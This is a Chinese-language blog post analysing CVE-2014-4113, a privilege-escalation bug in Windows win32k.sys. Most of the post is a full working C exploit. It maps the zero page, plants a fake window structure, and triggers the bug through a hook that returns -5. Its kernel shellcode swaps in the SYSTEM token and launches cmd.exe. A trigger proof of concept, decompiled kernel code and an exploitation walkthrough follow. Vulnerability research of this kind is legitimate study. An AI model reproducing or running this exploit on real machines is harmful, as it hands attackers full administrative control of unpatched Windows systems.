前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >漏洞分析丨cve20144113

漏洞分析丨cve20144113

原创
作者头像
极安御信安全研究院
发布2023-04-20 21:39:23
5530
发布2023-04-20 21:39:23
举报

一、漏洞简述

Microsoft Windows下的?win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它包含有窗口管理器、后者控制窗口显示和管理屏幕输出等。如果Windows内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。其中CVE-2014-4113就是Win32k.sys中的一个漏洞,该漏洞的根本问题是函数xxxMNFindWindowFromPoint的返回值验证不正确。xxxMNFindWindowFromPoint函数执行后返回win32k!tagWND的地址结构或错误代码-1,-5。在该函数后面将调用函数xxxSendMessage,xxxSendMessage把xxxMNFindWindowFromPoint的返回值作为参数传递。当xxxMNFindWindowFromPoint返回win32k!tagWND地址的时候程序正常执行,但当返回-1,-5的时候传递给xxxSendMessage将造成蓝屏。

二、环境准备

系统版本

win7x86sp1

三、漏洞验证

这是一个提权漏洞,在GitHub上找的exp如下:

代码语言:javascript
复制
#include?
#include?
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)

typedef?NTSTATUS
(WINAPI*?My_NtAllocateVirtualMemory)(
??? IN HANDLE ProcessHandle,
??? IN OUT PVOID*?BaseAddress,
??? IN ULONG ZeroBits,
??? IN OUT PULONG RegionSize,
??? IN ULONG AllocationType,
??? IN ULONG Protect
 );

My_NtAllocateVirtualMemory NtAllocateVirtualMemory?=?NULL;

//Destroys the menu and then returns -5, this will be passed to xxxSendMessage which will then use it as a pointer.
LRESULT CALLBACK HookCallbackTwo(HWND hWnd,?UINT Msg,?WPARAM wParam,?LPARAM lParam)
{
??? printf("[+] Callback two called.\n");
??? EndMenu();
 return -5;
}

LRESULT CALLBACK HookCallback(int?code,?WPARAM wParam,?LPARAM lParam) {
??? printf("[+] Callback one called.\n");
 /* lParam is a pointer to a CWPSTRUCT which is defined as:
??? typedef struct tagCWPSTRUCT {
??? LPARAM lParam;
??? WPARAM wParam;
??? UINT?? message;
??? HWND?? hwnd;
??? } CWPSTRUCT, *PCWPSTRUCT, *LPCWPSTRUCT;
??? */
 //lparam+8 is the message sent to the window, here we are checking for the message which is sent to a window when the function xxxMNFindWindowFromPoint is called
 if (*(DWORD*)(lParam?+ 8) == 0x1EB) {
 if (UnhookWindowsHook(WH_CALLWNDPROC,?HookCallback)) {
 //lparam+12 is a Window Handle pointing to the window - here we are setting its callback to be our second one
?????????? SetWindowLongA(*(HWND*)(lParam?+ 12),?GWLP_WNDPROC, (LONG)HookCallbackTwo);
 }
 }
 return?CallNextHookEx(0,?code,?wParam,?lParam);
}

/*
LRESULT WINAPI DefWindowProc(
_In_ HWND?? hWnd,
_In_ UINT?? Msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);
hWnd => Handle of the Window the event was triggered on
Msg => Message, the event that has occurred, this could be that window has moved, has been minimized, clicked on etc
wParam, lParam => extra information depending on the msg recieved.
*/
LRESULT CALLBACK WndProc(HWND hwnd,?UINT msg,?WPARAM wParam,?LPARAM lParam) {
 /*
??? Wait until the window is idle and then send the messages needed to 'click' on the submenu to trigger the bug
??? */
??? printf("[+] WindProc called with message=%d\n",?msg);
 if (msg?==?WM_ENTERIDLE) {
?????? PostMessageA(hwnd,?WM_KEYDOWN,?VK_DOWN, 0);
?????? PostMessageA(hwnd,?WM_KEYDOWN,?VK_RIGHT, 0);
?????? PostMessageA(hwnd,?WM_LBUTTONDOWN, 0, 0);
 }
 //Just pass any other messages to the default window procedure
 return?DefWindowProc(hwnd,?msg,?wParam,?lParam);
}

VOID Poc()
{
 /*
typedef struct tagWNDCLASS {
UINT????? style;
WNDPROC?? lpfnWndProc;
int?????? cbClsExtra;
int ??????cbWndExtra;
HINSTANCE hInstance;
HICON???? hIcon;
HCURSOR?? hCursor;
HBRUSH??? hbrBackground;
LPCTSTR?? lpszMenuName;
LPCTSTR?? lpszClassName;
} WNDCLASS, *PWNDCLASS;
We don't care about any of the style information but we set any needed values below.
*/
??? WNDCLASSA wnd_class?= { 0 };
 //Our custome WndProc handler, inspects any window messages before passing then onto the default handler
??? wnd_class.lpfnWndProc?=?WndProc;
 //Returns a handle to the executable that has the name passed to it, passing NULL means it returns a handle to this executable
??? wnd_class.hInstance?=?GetModuleHandle(NULL);
 //Random classname - we reference this later when creating a Window of this class
??? wnd_class.lpszClassName?= "abcde";

 //Registers the class in the global scope so it can be refered too later.
??? ATOM tmp?=?RegisterClassA(&wnd_class);
 if (tmp?==?NULL) {
?????? printf("[+] Failed to register window class.\n");
 return;
 }

 /* Does what it says on the tin..
??? HWND WINAPI CreateWindow(
??? _In_opt_ LPCTSTR?? lpClassName, => The name of the Window class to be created, in this case the class we just registered
??? _In_opt_ LPCTSTR?? lpWindowName, => The name to give the window, we don't need to give it a name.
??? _In_???? DWORD???? dwStyle, => Style options for the window, here
??? _In_???? int?????? x, => x position to create the window,this time the left edge
??? _In_???? int?????? y, => y position to create the window, this time the top edge
??? _In_???? int?????? nWidth, => Width of the window to create, randomly chosen value
??? _In_???? int?????? nHeight, => Height of the to create, randomly chosen value
??? _In_opt_ HWND????? hWndParent, => A handle to the parent window, this is our only window so NULL
??? _In_opt_ HMENU???? hMenu, => A handle to a menu or sub window to attach to the window, we havent created any yet.
??? _In_opt_ HINSTANCE hInstance, => A handle to the module the window should be associated with, for us this executable
??? _In_opt_ LPVOID??? lpParam => A pointer to data to be passed to the Window with the WM_CREATE message on creation, NULL for us as we don't wish to pass anything.
??? );
??? */
??? HWND main_wnd?=?CreateWindowA(
?????? wnd_class.lpszClassName,
 "",
?????? WS_OVERLAPPEDWINDOW?|?WS_VISIBLE,
 0,
 0,
 640,
 480,
?????? NULL,
?????? NULL,
?????? wnd_class.hInstance,
?????? NULL);

 if (main_wnd?==?NULL) {
?????? printf("[+] Failed to create window instance.\n");
 return;
 }

 //Creates an empty popup menu
??? HMENU MenuOne?=?CreatePopupMenu();

 if (MenuOne?==?NULL) {
?????? printf("[+] Failed to create popup menu one.\n");
 return;
 }

 /*Menu properties to apply to the empty menu we just created
??? typedef struct tagMENUITEMINFO {
??? UINT????? cbSize;
??? UINT????? fMask;
??? UINT????? fType;
??? UINT????? fState;
??? UINT????? wID;
??? HMENU???? hSubMenu;
??? HBITMAP?? hbmpChecked;
??? HBITMAP?? hbmpUnchecked;
??? ULONG_PTR dwItemData;
??? LPTSTR??? dwTypeData;
??? UINT????? cch;
??? HBITMAP?? hbmpItem;
??? } MENUITEMINFO, *LPMENUITEMINFO;
??? */
??? MENUITEMINFOA MenuOneInfo?= { 0 };
 //Default size
??? MenuOneInfo.cbSize?= sizeof(MENUITEMINFOA);
 //Selects what properties to retrieve or set when GetMenuItemInfo/SetMenuItemInfo are called, in this case only dwTypeData which the contents of the menu item.
??? MenuOneInfo.fMask?=?MIIM_STRING;
 /*Inserts a new menu at the specified position
??? BOOL WINAPI InsertMenuItem(
??? _In_ HMENU?????????? hMenu, => Handle to the menu the new item should be inserted into, in our case the empty menu we just created
??? _In_ UINT??????????? uItem, => it should item 0 in the menu
??? _In_ BOOL??????????? fByPosition, => Decided whether uItem is a position or an identifier, in this case its a position. If FALSE it makes uItem an identifier
??? _In_ LPCMENUITEMINFO lpmii => A pointer to the MENUITEMINFO structure that contains the menu item details.
??? );
??? */
??? BOOL insertMenuItem?=?InsertMenuItemA(MenuOne, 0,?TRUE, &MenuOneInfo);

 if (!insertMenuItem) {
?????? printf("[+] Failed to insert popup menu one.\n");
?????? DestroyMenu(MenuOne);
 return;
 }

??? HMENU MenuTwo?=?CreatePopupMenu();

 if (MenuTwo?==?NULL) {
?????? printf("[+] Failed to create menu two.\n");
?????? DestroyMenu(MenuOne);
 return;
 }

??? MENUITEMINFOA MenuTwoInfo?= { 0 };
??? MenuTwoInfo.cbSize?= sizeof(MENUITEMINFOA);
 //On this window hSubMenu should be included in Get/SetMenuItemInfo
??? MenuTwoInfo.fMask?= (MIIM_STRING?|?MIIM_SUBMENU);
 //The menu is a sub menu of the first menu
??? MenuTwoInfo.hSubMenu?=?MenuOne;
 //The contents of the menu item - in this case nothing
??? MenuTwoInfo.dwTypeData?= (LPSTR)"";
 //The length of the menu item text - in the case 1 for just a single NULL byte
??? MenuTwoInfo.cch?= 1;
??? insertMenuItem?=?InsertMenuItemA(MenuTwo, 0,?TRUE, &MenuTwoInfo);

 if (!insertMenuItem) {
?????? printf("[+] Failed to insert second pop-up menu.\n");
?????? DestroyMenu(MenuOne);
?????? DestroyMenu(MenuTwo);
 return;
 }

 /*
??? HHOOK WINAPI SetWindowsHookEx(
??? _In_ int?????? idHook, => The type of hook we want to create, in this case WH_CALLWNDPROC which means that the callback will be passed any window messages before the system sends them to the destination window procedure.
??? _In_ HOOKPROC? lpfn, => The callback that should be called when triggered
??? _In_ HINSTANCE hMod, => If the hook functions is in a dll we pass a handle to the dll here, not needed in this case.
??? _In_ DWORD???? dwThreadId => The thread which the callback should be triggered in, we want it to be our current thread.
??? );
??? */
??? HHOOK setWindowsHook?=?SetWindowsHookExA(
?????? WH_CALLWNDPROC,
?????? HookCallback,
?????? NULL,
?????? GetCurrentThreadId()
 );

 if (setWindowsHook?==?NULL) {
?????? printf("[+] Failed to insert call back one.\n");
?????? DestroyMenu(MenuOne);
?????? DestroyMenu(MenuTwo);
 return;
 }

 /* Displays a menu and tracks interactions with it.
??? BOOL WINAPI TrackPopupMenu(
??? _In_?????????? HMENU hMenu,
??? _In_?????????? UINT? uFlags,
??? _In_?????????? int?? x,
??? _In_?????????? int?? y,
??? _In_?????????? int?? nReserved,
??? _In_?????????? HWND? hWnd,
??? _In_opt_ const RECT? *prcRect
??? );
??? */
??? TrackPopupMenu(
?????? MenuTwo, //Handle to the menu we want to display, for us its the submenu we just created.
 0, //Options on how the menu is aligned, what clicks are allowed etc, we don't care.
 0, //Horizontal position - left hand side
 0, //Vertical position - Top edge
 0, //Reserved field, has to be 0
?????? main_wnd,//Handle to the Window which owns the menu
?????? NULL???//This value is always ignored...
 );

??? DestroyWindow(main_wnd);
}

int?__stdcall ShellCode(int?parameter1, int?parameter2, int?parameter3, int?parameter4)
{
??? _asm
 {
?????? pushad
?????? mov eax,?fs: [124h] // Find the _KTHREAD structure for the current thread
?????? mov eax, [eax?+ 0x50] // Find the _EPROCESS structure
?????? mov ecx,?eax
?????? mov edx, 4 // edx = system PID(4)

 // The loop is to get the _EPROCESS of the system
?????? find_sys_pid?:
?????? mov eax, [eax?+ 0xb8] // Find the process activity list
?????? sub eax, 0xb8 // List traversal
?????? cmp[eax?+ 0xb4],?edx????// Determine whether it is SYSTEM based on PID
?????? jnz find_sys_pid

 // Replace the Token
?????? mov edx, [eax?+ 0xf8]
?????? mov[ecx?+ 0xf8],?edx
?????? popad
 }
 return 0;
}


static?VOID CreateCmd()
{
??? STARTUPINFO si?= { sizeof(si) };
??? PROCESS_INFORMATION pi?= { 0 };
??? si.dwFlags?=?STARTF_USESHOWWINDOW;
??? si.wShowWindow?=?SW_SHOW;
??? WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
??? BOOL bReturn?=?CreateProcessW(NULL,?wzFilePath,?NULL,?NULL,?FALSE,?CREATE_NEW_CONSOLE,?NULL,?NULL, (LPSTARTUPINFOW)&si, &pi);
 if (bReturn)?CloseHandle(pi.hThread),?CloseHandle(pi.hProcess);
}

DWORD __stdcall? ptiCurrent()
{
??? __asm?{
?????? mov eax,?fs:18h //eax pointer to TEB
?????? mov eax, [eax?+ 40h] //get pointer to Win32ThreadInfo
 }
}

VOID init()
{
 *(FARPROC*)&NtAllocateVirtualMemory?=?GetProcAddress(
?????? GetModuleHandleW(L"ntdll"),
 "NtAllocateVirtualMemory");

 if (NtAllocateVirtualMemory?==?NULL)
 {
?????? printf("[+] Failed to get function NtAllocateVirtualMemory!!!\n");
?????? system("pause");
 return;
 }

??? PVOID Zero_addr?= (PVOID)1;
??? SIZE_T RegionSize?= 0x1000;

??? printf("[+] Started to alloc zero page...\n");
 if (!NT_SUCCESS(NtAllocateVirtualMemory(
?????? INVALID_HANDLE_VALUE,
 &Zero_addr,
 0,
 &RegionSize,
?????? MEM_COMMIT?|?MEM_RESERVE,
?????? PAGE_READWRITE)) ||?Zero_addr?!=?NULL)
 {
?????? printf("[+] Failed to alloc zero page!\n");
?????? system("pause");
 return;
 }

??? printf("[+] Success to alloc zero page...\n");

 *(DWORD*)(0x3) = (DWORD)ptiCurrent();
 *(DWORD*)(0x11) = (DWORD)4;
 *(DWORD*)(0x5b) = (DWORD)&ShellCode;

}

int?main()
{
??? init();

??? Poc();

??? CreateCmd();

??? system("pause");

 return 0;
}

在VS中生成,拖入虚拟机中,首先普通模式打开cmd,查看权限:

接下来运行exp:

可以看到已经是系统权限了。

四、漏洞分析

从POC开始分析吧,代码如下:

代码语言:javascript
复制
#include?
#include?

//Destroys the menu and then returns -5, this will be passed to xxxSendMessage which will then use it as a pointer.
LRESULT CALLBACK HookCallbackTwo(HWND hWnd,?UINT Msg,?WPARAM wParam,?LPARAM lParam)
{
??? printf("[+] Callback two called.\n");
??? EndMenu();
 return -5;
}

LRESULT CALLBACK HookCallback(int?code,?WPARAM wParam,?LPARAM lParam) {
??? printf("[+] Callback one called.\n");
 /* lParam is a pointer to a CWPSTRUCT which is defined as:
??? typedef struct tagCWPSTRUCT {
??? LPARAM lParam;
??? WPARAM wParam;
??? UINT?? message;
??? HWND?? hwnd;
??? } CWPSTRUCT, *PCWPSTRUCT, *LPCWPSTRUCT;
??? */
 //lparam+8 is the message sent to the window, here we are checking for the message which is sent to a window when the function xxxMNFindWindowFromPoint is called
 if (*(DWORD*)(lParam?+ 8) == 0x1EB) {
 if (UnhookWindowsHook(WH_CALLWNDPROC,?HookCallback)) {
 //lparam+12 is a Window Handle pointing to the window - here we are setting its callback to be our second one
?????????? SetWindowLongA(*(HWND*)(lParam?+ 12),?GWLP_WNDPROC, (LONG)HookCallbackTwo);
 }
 }
 return?CallNextHookEx(0,?code,?wParam,?lParam);
}

/*
LRESULT WINAPI DefWindowProc(
_In_ HWND?? hWnd,
_In_ UINT?? Msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
);
hWnd => Handle of the Window the event was triggered on
Msg => Message, the event that has occurred, this could be that window has moved, has been minimized, clicked on etc
wParam, lParam => extra information depending on the msg recieved.
*/
LRESULT CALLBACK WndProc(HWND hwnd,?UINT msg,?WPARAM wParam,?LPARAM lParam) {
 /*
??? Wait until the window is idle and then send the messages needed to 'click' on the submenu to trigger the bug
??? */
??? printf("[+] WindProc called with message=%d\n",?msg);
 if (msg?==?WM_ENTERIDLE) {
?????? PostMessageA(hwnd,?WM_KEYDOWN,?VK_DOWN, 0);
?????? PostMessageA(hwnd,?WM_KEYDOWN,?VK_RIGHT, 0);
?????? PostMessageA(hwnd,?WM_LBUTTONDOWN, 0, 0);
 }
 //Just pass any other messages to the default window procedure
 return?DefWindowProc(hwnd,?msg,?wParam,?lParam);
}

VOID Poc()
{
 /*
typedef struct tagWNDCLASS {
UINT????? style;
WNDPROC?? lpfnWndProc;
int?? ????cbClsExtra;
int?????? cbWndExtra;
HINSTANCE hInstance;
HICON???? hIcon;
HCURSOR?? hCursor;
HBRUSH??? hbrBackground;
LPCTSTR?? lpszMenuName;
LPCTSTR?? lpszClassName;
} WNDCLASS, *PWNDCLASS;
We don't care about any of the style information but we set any needed values below.
*/
??? WNDCLASSA wnd_class?= { 0 };
 //Our custome WndProc handler, inspects any window messages before passing then onto the default handler
??? wnd_class.lpfnWndProc?=?WndProc;
 //Returns a handle to the executable that has the name passed to it, passing NULL means it returns a handle to this executable
??? wnd_class.hInstance?=?GetModuleHandle(NULL);
 //Random classname - we reference this later when creating a Window of this class
??? wnd_class.lpszClassName?= "abcde";

 //Registers the class in the global scope so it can be refered too later.
??? ATOM tmp?=?RegisterClassA(&wnd_class);
 if (tmp?==?NULL) {
?????? printf("[+] Failed to register window class.\n");
 return;
 }

 /* Does what it says on the tin..
??? HWND WINAPI CreateWindow(
??? _In_opt_ LPCTSTR?? lpClassName, => The name of the Window class to be created, in this case the class we just registered
??? _In_opt_ LPCTSTR?? lpWindowName, => The name to give the window, we don't need to give it a name.
??? _In_???? DWORD???? dwStyle, => Style options for the window, here
??? _In_???? int?????? x, => x position to create the window,this time the left edge
??? _In_???? int?????? y, => y position to create the window, this time the top edge
??? _In_???? int?? ????nWidth, => Width of the window to create, randomly chosen value
??? _In_???? int?????? nHeight, => Height of the to create, randomly chosen value
??? _In_opt_ HWND????? hWndParent, => A handle to the parent window, this is our only window so NULL
??? _In_opt_ HMENU???? hMenu, => A handle to a menu or sub window to attach to the window, we havent created any yet.
??? _In_opt_ HINSTANCE hInstance, => A handle to the module the window should be associated with, for us this executable
??? _In_opt_ LPVOID??? lpParam => A pointer to data to be passed to the Window with the WM_CREATE message on creation, NULL for us as we don't wish to pass anything.
??? );
??? */
??? HWND main_wnd?=?CreateWindowA(
?????? wnd_class.lpszClassName,
 "",
?????? WS_OVERLAPPEDWINDOW?|?WS_VISIBLE,
 0,
 0,
 640,
 480,
?????? NULL,
?????? NULL,
?????? wnd_class.hInstance,
?????? NULL);

 if (main_wnd?==?NULL) {
?????? printf("[+] Failed to create window instance.\n");
 return;
 }

 //Creates an empty popup menu
??? HMENU MenuOne?=?CreatePopupMenu();

 if (MenuOne?==?NULL) {
?????? printf("[+] Failed to create popup menu one.\n");
 return;
 }

 /*Menu properties to apply to the empty menu we just created
??? typedef struct tagMENUITEMINFO {
??? UINT????? cbSize;
??? UINT????? fMask;
??? UINT????? fType;
??? UINT????? fState;
??? UINT????? wID;
??? HMENU???? hSubMenu;
??? HBITMAP?? hbmpChecked;
??? HBITMAP?? hbmpUnchecked;
??? ULONG_PTR dwItemData;
??? LPTSTR??? dwTypeData;
??? UINT????? cch;
??? HBITMAP?? hbmpItem;
??? } MENUITEMINFO, *LPMENUITEMINFO;
??? */
??? MENUITEMINFOA MenuOneInfo?= { 0 };
 //Default size
??? MenuOneInfo.cbSize?= sizeof(MENUITEMINFOA);
 //Selects what properties to retrieve or set when GetMenuItemInfo/SetMenuItemInfo are called, in this case only dwTypeData which the contents of the menu item.
??? MenuOneInfo.fMask?=?MIIM_STRING;
 /*Inserts a new menu at the specified position
??? BOOL WINAPI InsertMenuItem(
??? _In_ HMENU?????????? hMenu, => Handle to the menu the new item should be inserted into, in our case the empty menu we just created
??? _In_ UINT??????????? uItem, => it should item 0 in the menu
??? _In_ BOOL??????????? fByPosition, => Decided whether uItem is a position or an identifier, in this case its a position. If FALSE it makes uItem an identifier
??? _In_ LPCMENUITEMINFO lpmii => A pointer to the MENUITEMINFO structure that contains the menu item details.
??? );
??? */
??? BOOL insertMenuItem?=?InsertMenuItemA(MenuOne, 0,?TRUE, &MenuOneInfo);

 if (!insertMenuItem) {
?????? printf("[+] Failed to insert popup menu one.\n");
?????? DestroyMenu(MenuOne);
 return;
 }

??? HMENU MenuTwo?=?CreatePopupMenu();

 if (MenuTwo?==?NULL) {
?????? printf("[+] Failed to create menu two.\n");
?????? DestroyMenu(MenuOne);
 return;
 }

??? MENUITEMINFOA MenuTwoInfo?= { 0 };
??? MenuTwoInfo.cbSize?= sizeof(MENUITEMINFOA);
 //On this window hSubMenu should be included in Get/SetMenuItemInfo
??? MenuTwoInfo.fMask?= (MIIM_STRING?|?MIIM_SUBMENU);
 //The menu is a sub menu of the first menu
??? MenuTwoInfo.hSubMenu?=?MenuOne;
 //The contents of the menu item - in this case nothing
??? MenuTwoInfo.dwTypeData?= (LPSTR)"";
 //The length of the menu item text - in the case 1 for just a single NULL byte
??? MenuTwoInfo.cch?= 1;
??? insertMenuItem?=?InsertMenuItemA(MenuTwo, 0,?TRUE, &MenuTwoInfo);

 if (!insertMenuItem) {
?????? printf("[+] Failed to insert second pop-up menu.\n");
?????? DestroyMenu(MenuOne);
?????? DestroyMenu(MenuTwo);
 return;
 }

 /*
??? HHOOK WINAPI SetWindowsHookEx(
??? _In_ int?????? idHook, => The type of hook we want to create, in this case WH_CALLWNDPROC which means that the callback will be passed any window messages before the system sends them to the destination window procedure.
??? _In_ HOOKPROC? lpfn, => The callback that should be called when triggered
??? _In_ HINSTANCE hMod, => If the hook functions is in a dll we pass a handle to the dll here, not needed in this case.
??? _In_ DWORD???? dwThreadId => The thread which the callback should be triggered in, we want it to be our current thread.
??? );
??? */
??? HHOOK setWindowsHook?=?SetWindowsHookExA(
?????? WH_CALLWNDPROC,
?????? HookCallback,
?????? NULL,
?????? GetCurrentThreadId()
 );

 if (setWindowsHook?==?NULL) {
?????? printf("[+] Failed to insert call back one.\n");
?????? DestroyMenu(MenuOne);
?????? DestroyMenu(MenuTwo);
 return;
 }

 /* Displays a menu and tracks interactions with it.
??? BOOL WINAPI TrackPopupMenu(
??? _In_?????????? HMENU hMenu,
??? _In_?????????? UINT? uFlags,
??? _In_?????????? int?? x,
??? _In_?????????? int?? y,
??? _In_?????????? int?? nReserved,
??? _In_?????????? HWND? hWnd,
??? _In_opt_ const RECT? *prcRect
??? );
??? */
??? TrackPopupMenu(
?????? MenuTwo, //Handle to the menu we want to display, for us its the submenu we just created.
 0, //Options on how the menu is aligned, what clicks are allowed etc, we don't care.
 0, //Horizontal position - left hand side
 0, //Vertical position - Top edge
 0, //Reserved field, has to be 0
?????? main_wnd,//Handle to the Window which owns the menu
?????? NULL???//This value is always ignored...
 );
}

int?main()
{
??? Poc();
 return 0;
}

编译成exe拖入虚拟机运行,打开双击调试:

卡在这里,看箭头位置:

可以看到esi的值是传入的参数,上层函数是xxxSendMessage,参数同样是fffffffb:

直接在win32k.sys追xxxHandleMenuMessages,当然记得加载符号文件:

通过xxxHandleMenuMessages+0x582的地址,F5到此处:

代码语言:javascript
复制
LABEL_13:
??????????? v12 = a2;
 *(_DWORD *)(a2?+ 16) = -1;
 *(_DWORD *)(a2?+ 8) = (signed __int16)v7;
 *(_DWORD *)(a2?+ 12) = SHIWORD(v7);
??????????? v13 = xxxMNFindWindowFromPoint((WCHAR)v3, (int)&UnicodeString, v7);
??????????? v52 = IsMFMWFPWindow(v13);
??????????? if ( v52 )
 {
????????????? v46 =?*((_DWORD *)gptiCurrent?+ 45);
 *((_DWORD *)gptiCurrent?+ 45) =?&v46;
????????????? v47 = v13;
????????????? if ( v13 )
??????????????? ++*(_DWORD *)(v13?+ 4);
 }
??????????? if ( *(_DWORD *)(v12 + 4) & 0x400 )
 {
 *(_DWORD *)(v12?+ 36) =?*(_DWORD *)(v12?+ 8);
 *(_DWORD *)(v12?+ 40) =?*(_DWORD *)(v12?+ 12);
 *(_DWORD *)(v12?+ 48) = UnicodeString;
????? ????????LockMFMWFPWindow(v12 + 44,?v13);
 }
??????????? if ( *(_DWORD *)(v12 + 4) & 0x500 )
 *(_DWORD *)(v12?+ 52) = ((v50 & 2) != 0) + 1;
??????????? if ( !v13 && !UnicodeString )
????????????? goto LABEL_22;
??????????? if ( *(_BYTE *)v3 & 2 && v13 == -5 )
 {
????????????? xxxMNSwitchToAlternateMenu(v3);
????????????? v13 = -1;
 }
??????????? if ( v13 == -1 )
????????????? xxxMNButtonDown(v3, v12, UnicodeString, 1);
??????????? else
????????????? xxxSendMessage((PVOID)v13, -19, UnicodeString, 0);
??????????? if ( !(*(_DWORD *)(v12 + 4) & 0x100) )
????????????? xxxMNRemoveMessage(*(_DWORD *)(a1 + 4), 516);
可以看到esi的值主要来源于?v13 = xxxMNFindWindowFromPoint((WCHAR)v3, (int)&UnicodeString, v7);
v52 = IsMFMWFPWindow(v13):此函数判断值是否是-5和-1,不是的话返回1:
BOOL __stdcall IsMFMWFPWindow(int?a1)
{
 return?a1?&&?a1?!= -5 &&?a1?!= -1;
}

而如果要执行xxxSendMessage这个函数,就需要让v13的值等于-5(FFFFFFFB),我们看xxxMNFindWindowFromPoint这个函数:

这里反编译有问题,直接看汇编:

这里判断呢,就是发送消息是1ED这里,然后判断是不是-1或者-5就跳过if,所以这里需要跳过if,否则返回值会重新赋值,然后-1的话触发不了漏洞,只能-5,也就是HOOK这里,让这个返回值-5,触发漏洞。 接下来根据POC简单梳理一下过程: 调用了TrackPopupMenu函数触发漏洞,然后调用内核函数win32k!xxxTrackPopupMenuEx,最后调用最终会调用win32k! xxxMNLoop函数,然后就跟进win32k!xxxHandleMenuMessages函数,随后就是我们分析的情况。触发漏洞需要让xxxMNFindWindowFromPoint返回值=-5;

五、漏洞利用

在POC中,对于消息号为0x1EB的消息,HOOK函数返回了0xFFFFFFFB,而程序把该值作为win32k!tagWND结构处理,导致后边把0xFFFFFFFB作为win32k!ptagWND结构传给win32k! xxxSendMessage。在win32k! xxxSendMessage中会调用win32k!xxxSendMessageTimeout,在win32k!xxxSendMessageTimeout中当把0xFFFFFFFB作为win32k!tagWND结构处理时,会调用ptagWND+0x60处的函数,也就是call [0xFFFFFFB+0x60],在xxxSendMessageTimeout中,即call [0x5B]。 如果在0x5B位置布置shellcode,就可以完成漏洞利用,下面还要注意一个点,是xxxSendMessageTimeout函数内部的俩个验证,所以我们需要布局0x3,0x11位置: 通过函数ZwAllocateVirtualMemory申请0页内存空间,在该空间建立一个畸形的win32k!tagWND结构的映射页,使得在内核能正确地验证。并将shellcode地址布置在0x5B。而shellcode就是创建cmd,把进程Token换成system的Token值。至于钩子为什么使用SetWindowLongA设置了一次窗口函数,因为只有在窗口处理函数线程的上下文空间中调用EndMenu函数才有意义。补充一点exp调用sendMessage函数是分同步异步,这里不再多说,可以看这里:https://www.anquanke.com/post/id/84869

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、漏洞简述
  • 二、环境准备
  • 三、漏洞验证
  • 四、漏洞分析
  • 五、漏洞利用
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
http://www.vxiaotou.com